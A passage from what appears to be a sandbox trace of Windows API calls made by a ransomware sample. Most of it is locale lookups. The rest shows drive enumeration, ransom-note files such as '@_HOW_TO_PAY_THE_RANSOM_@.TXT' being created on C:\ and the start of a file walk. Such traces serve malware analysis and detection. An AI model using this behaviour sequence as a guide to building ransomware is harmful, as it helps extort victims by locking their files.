out: lpLCData="Japanese") returned 9 [0068.451] GetLastError () returned 0x0 [0068.451] GetLocaleInfoEx (in: lpLocaleName="ko-KR", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Korean") returned 7 [0068.451] GetLastError () returned 0x0 [0068.451] GetLocaleInfoEx (in: lpLocaleName="nl-NL", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Dutch") returned 6 [0068.451] GetLastError () returned 0x0 [0068.451] GetLocaleInfoEx (in: lpLocaleName="nb-NO", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Norwegian (Bokmål)") returned 19 [0068.451] GetLastError () returned 0x0 [0068.451] GetLocaleInfoEx (in: lpLocaleName="pl-PL", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Polish") returned 7 [0068.451] GetLastError () returned 0x0 [0068.451] GetLocaleInfoEx (in: lpLocaleName="pt-BR", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Portuguese") returned 11 [0068.451] GetLastError () returned 0x0 [0068.451] GetLocaleInfoEx (in: lpLocaleName="rm-CH", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Romansh") returned 8 [0068.451] GetLastError () returned 0x0 [0068.451] GetLocaleInfoEx (in: lpLocaleName="ro-RO", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Romanian") returned 9 [0068.451] GetLastError () returned 0x0 [0068.451] GetLocaleInfoEx (in: lpLocaleName="ru-RU", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Russian") returned 8 [0068.451] GetLastError () returned 0x0 [0068.451] GetLocaleInfoEx (in: lpLocaleName="hr-HR", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Croatian") returned 9 [0068.451] GetLastError () returned 0x0 [0068.452] GetLocaleInfoEx (in: lpLocaleName="sk-SK", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Slovak") returned 7 [0068.452] GetLastError () returned 0x0 [0068.452] GetLocaleInfoEx (in: lpLocaleName="sq-AL", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Albanian") returned 9 [0068.452] GetLastError () returned 0x0 [0068.452] GetLocaleInfoEx (in: lpLocaleName="sv-SE", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Swedish") returned 8 [0068.452] GetLastError () returned 0x0 [0068.452] GetLocaleInfoEx (in: lpLocaleName="th-TH", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Thai") returned 5 [0068.452] GetLastError () returned 0x0 [0068.452] GetLocaleInfoEx (in: lpLocaleName="tr-TR", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Turkish") returned 8 [0068.452] GetLastError () returned 0x0 [0068.452] GetLocaleInfoEx (in: lpLocaleName="ur-PK", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Urdu") returned 5 [0068.452] GetLastError () returned 0x0 [0068.452] GetLocaleInfoEx (in: lpLocaleName="id-ID", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Indonesian") returned 11 [0068.452] GetLastError () returned 0x0 [0068.452] GetLocaleInfoEx (in: lpLocaleName="uk-UA", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Ukrainian") returned 10 [0068.452] GetLastError () returned 0x0 [0068.452] GetLocaleInfoEx (in: lpLocaleName="be-BY", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Belarusian") returned 11 [0068.452] GetLastError () returned 0x0 [0068.452] GetLocaleInfoEx (in: lpLocaleName="sl-SI", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Slovenian") returned 10 [0068.452] GetLastError () returned 0x0 [0068.452] GetLocaleInfoEx (in: lpLocaleName="et-EE", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Estonian") returned 9 [0068.452] GetLastError () returned 0x0 [0068.452] GetLocaleInfoEx (in: lpLocaleName="lv-LV", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Latvian") returned 8 [0068.453] GetLastError () returned 0x0 [0068.453] GetLocaleInfoEx (in: lpLocaleName="lt-LT", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Lithuanian") returned 11 [0068.453] GetLastError () returned 0x0 [0068.453] GetLocaleInfoEx (in: lpLocaleName="tg-Cyrl-TJ", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Tajik (Cyrillic)") returned 17 [0068.453] GetLastError () returned 0x0 [0068.453] GetLocaleInfoEx (in: lpLocaleName="fa-IR", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Persian") returned 8 [0068.453] GetLastError () returned 0x0 [0068.453] GetLocaleInfoEx (in: lpLocaleName="vi-VN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Vietnamese") returned 11 [0068.453] GetLastError () returned 0x0 [0068.453] GetLocaleInfoEx (in: lpLocaleName="hy-AM", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Armenian") returned 9 [0068.453] GetLastError () returned 0x0 [0068.453] GetLocaleInfoEx (in: lpLocaleName="az-Latn-AZ", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Azeri (Latin)") returned 14 [0068.453] GetLastError () returned 0x0 [0068.453] GetLocaleInfoEx (in: lpLocaleName="eu-ES", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Basque") returned 7 [0068.453] GetLastError () returned 0x0 [0068.453] GetLocaleInfoEx (in: lpLocaleName="hsb-DE", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Upper Sorbian") returned 14 [0068.453] GetLastError () returned 0x0 [0068.453] GetLocaleInfoEx (in: lpLocaleName="mk-MK", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Macedonian (FYROM)") returned 19 [0068.453] GetLastError () returned 0x0 [0068.453] GetLocaleInfoEx (in: lpLocaleName="tn-ZA", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Setswana") returned 9 [0068.453] GetLastError () returned 0x0 [0068.453] GetLocaleInfoEx (in: lpLocaleName="xh-ZA", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="isiXhosa") returned 9 [0068.454] GetLastError () returned 0x0 [0068.454] GetLocaleInfoEx (in: lpLocaleName="zu-ZA", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="isiZulu") returned 8 [0068.454] GetLastError () returned 0x0 [0068.454] GetLocaleInfoEx (in: lpLocaleName="af-ZA", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Afrikaans") returned 10 [0068.454] GetLastError () returned 0x0 [0068.454] GetLocaleInfoEx (in: lpLocaleName="ka-GE", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Georgian") returned 9 [0068.454] GetLastError () returned 0x0 [0068.454] GetLocaleInfoEx (in: lpLocaleName="fo-FO", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Faroese") returned 8 [0068.454] GetLastError () returned 0x0 [0068.454] GetLocaleInfoEx (in: lpLocaleName="hi-IN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Hindi") returned 6 [0068.454] GetLastError () returned 0x0 [0068.454] GetLocaleInfoEx (in: lpLocaleName="mt-MT", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Maltese") returned 8 [0068.454] GetLastError () returned 0x0 [0068.454] GetLocaleInfoEx (in: lpLocaleName="se-NO", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Sami (Northern)") returned 16 [0068.454] GetLastError () returned 0x0 [0068.454] GetLocaleInfoEx (in: lpLocaleName="ms-MY", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Malay") returned 6 [0068.454] GetLastError () returned 0x0 [0068.454] GetLocaleInfoEx (in: lpLocaleName="kk-KZ", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Kazakh") returned 7 [0068.454] GetLastError () returned 0x0 [0068.454] GetLocaleInfoEx (in: lpLocaleName="ky-KG", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Kyrgyz") returned 7 [0068.454] GetLastError () returned 0x0 [0068.454] GetLocaleInfoEx (in: lpLocaleName="sw-KE", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Kiswahili") returned 10 [0068.454] GetLastError () returned 0x0 [0068.455] GetLocaleInfoEx (in: lpLocaleName="tk-TM", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Turkmen") returned 8 [0068.455] GetLastError () returned 0x0 [0068.455] GetLocaleInfoEx (in: lpLocaleName="uz-Latn-UZ", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Uzbek (Latin)") returned 14 [0068.455] GetLastError () returned 0x0 [0068.455] GetLocaleInfoEx (in: lpLocaleName="tt-RU", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Tatar") returned 6 [0068.455] GetLastError () returned 0x0 [0068.455] GetLocaleInfoEx (in: lpLocaleName="bn-IN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Bengali") returned 8 [0068.455] GetLastError () returned 0x0 [0068.455] GetLocaleInfoEx (in: lpLocaleName="pa-IN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Punjabi") returned 8 [0068.455] GetLastError () returned 0x0 [0068.455] GetLocaleInfoEx (in: lpLocaleName="gu-IN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Gujarati") returned 9 [0068.455] GetLastError () returned 0x0 [0068.455] GetLocaleInfoEx (in: lpLocaleName="or-IN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Oriya") returned 6 [0068.455] GetLastError () returned 0x0 [0068.455] GetLocaleInfoEx (in: lpLocaleName="ta-IN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Tamil") returned 6 [0068.455] GetLastError () returned 0x0 [0068.455] GetLocaleInfoEx (in: lpLocaleName="te-IN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Telugu") returned 7 [0068.455] GetLastError () returned 0x0 [0068.455] GetLocaleInfoEx (in: lpLocaleName="kn-IN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Kannada") returned 8 [0068.455] GetLastError () returned 0x0 [0068.455] GetLocaleInfoEx (in: lpLocaleName="ml-IN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Malayalam") returned 10 [0068.455] GetLastError () returned 0x0 [0068.455] GetLocaleInfoEx (in: lpLocaleName="as-IN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Assamese") returned 9 [0068.456] GetLastError () returned 0x0 [0068.456] GetLocaleInfoEx (in: lpLocaleName="mr-IN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Marathi") returned 8 [0068.456] GetLastError () returned 0x0 [0068.456] GetLocaleInfoEx (in: lpLocaleName="sa-IN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Sanskrit") returned 9 [0068.456] GetLastError () returned 0x0 [0068.456] GetLocaleInfoEx (in: lpLocaleName="mn-MN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Mongolian (Cyrillic)") returned 21 [0068.456] GetLastError () returned 0x0 [0068.456] GetLocaleInfoEx (in: lpLocaleName="bo-CN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Tibetan") returned 8 [0068.456] GetLastError () returned 0x0 [0068.456] GetLocaleInfoEx (in: lpLocaleName="cy-GB", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Welsh") returned 6 [0068.456] GetLastError () returned 0x0 [0068.456] GetLocaleInfoEx (in: lpLocaleName="km-KH", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Khmer") returned 6 [0068.456] GetLastError () returned 0x0 [0068.456] GetLocaleInfoEx (in: lpLocaleName="lo-LA", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Lao") returned 4 [0068.456] GetLastError () returned 0x0 [0068.456] GetLocaleInfoEx (in: lpLocaleName="gl-ES", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Galician") returned 9 [0068.456] GetLastError () returned 0x0 [0068.456] GetLocaleInfoEx (in: lpLocaleName="kok-IN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Konkani") returned 8 [0068.456] GetLastError () returned 0x0 [0068.456] GetLocaleInfoEx (in: lpLocaleName="syr-SY", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Syriac") returned 7 [0068.456] GetLastError () returned 0x0 [0068.456] GetLocaleInfoEx (in: lpLocaleName="si-LK", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Sinhala") returned 8 [0068.457] GetLastError () returned 0x0 [0068.457] GetLocaleInfoEx (in: lpLocaleName="iu-Cans-CA", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Inuktitut (Syllabics)") returned 22 [0068.457] GetLastError () returned 0x0 [0068.457] GetLocaleInfoEx (in: lpLocaleName="am-ET", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Amharic") returned 8 [0068.457] GetLastError () returned 0x0 [0068.457] GetLocaleInfoEx (in: lpLocaleName="ne-NP", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Nepali") returned 7 [0068.457] GetLastError () returned 0x0 [0068.457] GetLocaleInfoEx (in: lpLocaleName="fy-NL", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Frisian") returned 8 [0068.457] GetLastError () returned 0x0 [0068.457] GetLocaleInfoEx (in: lpLocaleName="ps-AF", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Pashto") returned 7 [0068.457] GetLastError () returned 0x0 [0068.457] GetLocaleInfoEx (in: lpLocaleName="fil-PH", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Filipino") returned 9 [0068.457] GetLastError () returned 0x0 [0068.457] GetLocaleInfoEx (in: lpLocaleName="dv-MV", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Divehi") returned 7 [0068.457] GetLastError () returned 0x0 [0068.457] GetLocaleInfoEx (in: lpLocaleName="ha-Latn-NG", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Hausa (Latin)") returned 14 [0068.457] GetLastError () returned 0x0 [0068.457] GetLocaleInfoEx (in: lpLocaleName="yo-NG", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Yoruba") returned 7 [0068.457] GetLastError () returned 0x0 [0068.458] GetLocaleInfoEx (in: lpLocaleName="quz-BO", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Quechua") returned 8 [0068.458] GetLastError () returned 0x0 [0068.458] GetLocaleInfoEx (in: lpLocaleName="nso-ZA", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Sesotho sa Leboa") returned 17 [0068.458] GetLastError () returned 0x0 [0068.458] GetLocaleInfoEx (in: lpLocaleName="ba-RU", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Bashkir") returned 8 [0068.458] GetLastError () returned 0x0 [0068.458] GetLocaleInfoEx (in: lpLocaleName="lb-LU", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Luxembourgish") returned 14 [0068.458] GetLastError () returned 0x0 [0068.458] GetLocaleInfoEx (in: lpLocaleName="kl-GL", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Greenlandic") returned 12 [0068.458] GetLastError () returned 0x0 [0068.458] GetLocaleInfoEx (in: lpLocaleName="ig-NG", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Igbo") returned 5 [0068.458] GetLastError () returned 0x0 [0068.458] GetLocaleInfoEx (in: lpLocaleName="ii-CN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Yi") returned 3 [0068.458] GetLastError () returned 0x0 [0068.458] GetLocaleInfoEx (in: lpLocaleName="arn-CL", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Mapudungun") returned 11 [0068.458] GetLastError () returned 0x0 [0068.458] GetLocaleInfoEx (in: lpLocaleName="moh-CA", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Mohawk") returned 7 [0068.458] GetLastError () returned 0x0 [0068.458] GetLocaleInfoEx (in: lpLocaleName="br-FR", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Breton") returned 7 [0068.458] GetLastError () returned 0x0 [0068.458] GetLocaleInfoEx (in: lpLocaleName="ug-CN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Uyghur") returned 7 [0068.458] GetLastError () returned 0x0 [0068.458] GetLocaleInfoEx (in: lpLocaleName="mi-NZ", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Maori") returned 6 [0068.459] GetLastError () returned 0x0 [0068.459] GetLocaleInfoEx (in: lpLocaleName="oc-FR", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Occitan") returned 8 [0068.459] GetLastError () returned 0x0 [0068.459] GetLocaleInfoEx (in: lpLocaleName="co-FR", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Corsican") returned 9 [0068.459] GetLastError () returned 0x0 [0068.459] GetLocaleInfoEx (in: lpLocaleName="gsw-FR", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Alsatian") returned 9 [0068.459] GetLastError () returned 0x0 [0068.459] GetLocaleInfoEx (in: lpLocaleName="sah-RU", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Yakut") returned 6 [0068.459] GetLastError () returned 0x0 [0068.459] GetLocaleInfoEx (in: lpLocaleName="qut-GT", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="K'iche") returned 7 [0068.459] GetLastError () returned 0x0 [0068.459] GetLocaleInfoEx (in: lpLocaleName="rw-RW", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Kinyarwanda") returned 12 [0068.459] GetLastError () returned 0x0 [0068.459] GetLocaleInfoEx (in: lpLocaleName="wo-SN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Wolof") returned 6 [0068.459] GetLastError () returned 0x0 [0068.459] GetLocaleInfoEx (in: lpLocaleName="prs-AF", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Dari") returned 5 [0068.459] GetLastError () returned 0x0 [0068.459] GetLocaleInfoEx (in: lpLocaleName="gd-GB", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Scottish Gaelic") returned 16 [0068.460] GetLastError () returned 0x0 [0068.460] GetLocaleInfoEx (in: lpLocaleName="ar-IQ", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Arabic") returned 7 [0068.460] GetLastError () returned 0x0 [0068.460] GetLocaleInfoEx (in: lpLocaleName="zh-CN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Chinese (Simplified)") returned 21 [0068.460] GetLastError () returned 0x0 [0068.460] GetLocaleInfoEx (in: lpLocaleName="de-CH", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="German") returned 7 [0068.460] GetLastError () returned 0x0 [0068.460] GetLocaleInfoEx (in: lpLocaleName="en-GB", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="English") returned 8 [0068.461] GetLastError () returned 0x0 [0068.461] GetLocaleInfoEx (in: lpLocaleName="es-MX", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Spanish") returned 8 [0068.461] GetLastError () returned 0x0 [0068.461] GetLocaleInfoEx (in: lpLocaleName="fr-BE", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="French") returned 7 [0068.461] GetLastError () returned 0x0 [0068.461] GetLocaleInfoEx (in: lpLocaleName="it-CH", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Italian") returned 8 [0068.461] GetLastError () returned 0x0 [0068.461] GetLocaleInfoEx (in: lpLocaleName="nl-BE", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Dutch") returned 6 [0068.462] GetLastError () returned 0x0 [0068.462] GetLocaleInfoEx (in: lpLocaleName="nn-NO", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Norwegian (Nynorsk)") returned 20 [0068.462] GetLastError () returned 0x0 [0068.462] GetLocaleInfoEx (in: lpLocaleName="pt-PT", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Portuguese") returned 11 [0068.462] GetLastError () returned 0x0 [0068.462] GetLocaleInfoEx (in: lpLocaleName="sr-Latn-CS", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Serbian (Latin)") returned 16 [0068.462] GetLastError () returned 0x0 [0068.462] GetLocaleInfoEx (in: lpLocaleName="sv-FI", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Swedish") returned 8 [0068.473] GetLastError () returned 0x0 [0068.473] GetLocaleInfoEx (in: lpLocaleName="az-Cyrl-AZ", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Azeri (Cyrillic)") returned 17 [0068.473] GetLastError () returned 0x0 [0068.473] GetLocaleInfoEx (in: lpLocaleName="dsb-DE", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Lower Sorbian") returned 14 [0068.473] GetLastError () returned 0x0 [0068.473] GetLocaleInfoEx (in: lpLocaleName="se-SE", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Sami (Northern)") returned 16 [0068.473] GetLastError () returned 0x0 [0068.473] GetLocaleInfoEx (in: lpLocaleName="ga-IE", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Irish") returned 6 [0068.474] GetLastError () returned 0x0 [0068.474] GetLocaleInfoEx (in: lpLocaleName="ms-BN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Malay") returned 6 [0068.474] GetLastError () returned 0x0 [0068.474] GetLocaleInfoEx (in: lpLocaleName="uz-Cyrl-UZ", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Uzbek (Cyrillic)") returned 17 [0068.474] GetLastError () returned 0x0 [0068.474] GetLocaleInfoEx (in: lpLocaleName="bn-BD", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Bengali") returned 8 [0068.474] GetLastError () returned 0x0 [0068.474] GetLocaleInfoEx (in: lpLocaleName="mn-Mong-CN", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Mongolian (Traditional Mongolian)") returned 34 [0068.474] GetLocaleInfoEx (in: lpLocaleName="iu-Latn-CA", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Inuktitut (Latin)") returned 18 [0068.478] GetLogicalDriveStringsA (in: nBufferLength=0x100, lpBuffer=0x4ae428 | out: lpBuffer="C:\\") returned 0x4 [0068.479] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0068.479] GetLastError () returned 0x0 [0068.479] lstrlenA (lpString="C:\\") returned 3 [0068.479] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0068.479] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.479] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.479] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.479] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x38) returned 0x549690 [0068.479] AreFileApisANSI () returned 1 [0068.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0068.479] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x42) returned 0x5288b8 [0068.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x5288b8, cchWideChar=33 | out: lpWideCharStr="C:\\\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 33 [0068.480] CreateFileW (lpFileName="C:\\\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ad720, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0068.481] GetFileType (hFile=0x18c) returned 0x1 [0068.481] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5288b8 | out: hHeap=0x510000) returned 1 [0068.481] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533df0 [0068.481] GetLastError () returned 0x0 [0068.484] AreFileApisANSI () returned 1 [0068.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0068.484] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x44) returned 0x5288b8 [0068.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x5288b8, cchWideChar=34 | out: lpWideCharStr="C:\\\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 34 [0068.484] CreateFileW (lpFileName="C:\\\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ad720, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0068.485] GetFileType (hFile=0x18c) returned 0x1 [0068.485] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5288b8 | out: hHeap=0x510000) returned 1 [0068.485] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x558cf0 [0068.485] GetLastError () returned 0x0 [0068.486] AreFileApisANSI () returned 1 [0068.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0068.486] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x42) returned 0x5288b8 [0068.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x5288b8, cchWideChar=33 | out: lpWideCharStr="C:\\\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 33 [0068.486] CreateFileW (lpFileName="C:\\\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ad720, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0068.486] GetFileType (hFile=0x18c) returned 0x1 [0068.486] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5288b8 | out: hHeap=0x510000) returned 1 [0068.486] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x558cf0 [0068.486] GetLastError () returned 0x0 [0068.487] FindFirstFileA (in: lpFileName="C:\\\\*", lpFindFileData=0x4ada68 | out: lpFindFileData=0x4ada68*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5d00025f, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x5496d0 [0068.488] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.488] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434f8 [0068.488] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434f8 | out: hHeap=0x510000) returned 1 [0068.488] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.488] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.488] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.488] 